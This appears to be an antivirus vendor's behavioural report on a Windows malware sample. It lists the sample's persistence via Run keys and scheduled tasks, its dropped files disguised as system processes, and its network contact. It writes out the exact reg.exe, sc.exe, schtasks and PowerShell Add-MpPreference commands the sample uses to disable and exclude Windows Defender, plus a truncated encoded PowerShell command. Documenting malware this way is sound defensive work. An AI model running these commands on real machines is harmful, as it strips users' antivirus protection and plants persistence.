Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Auto Update System' = '%APPDATA%\Auto Update System.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\auto update system
- %APPDATA%\microsoft\windows\start menu\programs\startup\auto update system.lnk
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%TEMP%\svchost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%APPDATA%\Auto Update System.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Auto Update System.exe'
Modifies file system
Creates the following files
- %TEMP%\dllhost.exe.exe
- %TEMP%\full removedefender.exe
- %TEMP%\mxt panel.exe
- %TEMP%\625a.tmp\625b.tmp\626c.bat
- %TEMP%\removedefender.exe
- %TEMP%\svchost.exe
- %TEMP%\7760.tmp\7761.tmp\7762.bat
- %APPDATA%\auto update system.exe
Network activity
Connects to
- 'ip##pi.com':80
TCP
HTTP GET requests
- http://ip##pi.com/line/?fi############
UDP
- DNS ASK ip##pi.com
Miscellaneous
Creates and executes the following
- '%TEMP%\dllhost.exe.exe'
- '%TEMP%\full removedefender.exe'
- '%TEMP%\mxt panel.exe'
- '%TEMP%\removedefender.exe'
- '%TEMP%\svchost.exe'
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGsAZABkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAcwBxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '<SYSTEM32>\schtasks.exe' /create /f /RL HIGHEST /sc minute /mo 1 /tn "Auto Update System" /tr "%APPDATA%\Auto Update System.exe"
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\7760.tmp\7761.tmp\7762.bat %TEMP%\RemoveDefender.exe"
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\sc.exe' config WinDefend start= disabled
- '<SYSTEM32>\taskeng.exe' {9D55CCEF-834A-456E-9165-31E42C4DFE86} S-1-5-21-3691498038-2086406363-2140527554-1000:woijmndne\user:Interactive:[1]
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\625A.tmp\625B.tmp\626C.bat "%TEMP%\Full RemoveDefender.exe""
- '<SYSTEM32>\sc.exe' stop WinDefend
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGsAZABkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAcwBxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...' (with hidden window)
- '%TEMP%\removedefender.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /f /RL HIGHEST /sc minute /mo 1 /tn "Auto Update System" /tr "%APPDATA%\Auto Update System.exe"' (with hidden window)
- '%TEMP%\full removedefender.exe' ' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Auto Update System.exe'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%TEMP%\svchost.exe'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%APPDATA%\Auto Update System.exe'' (with hidden window)
- '%TEMP%\dllhost.exe.exe' ' (with hidden window)
- '%TEMP%\mxt panel.exe' ' (with hidden window)
- '%TEMP%\svchost.exe' ' (with hidden window)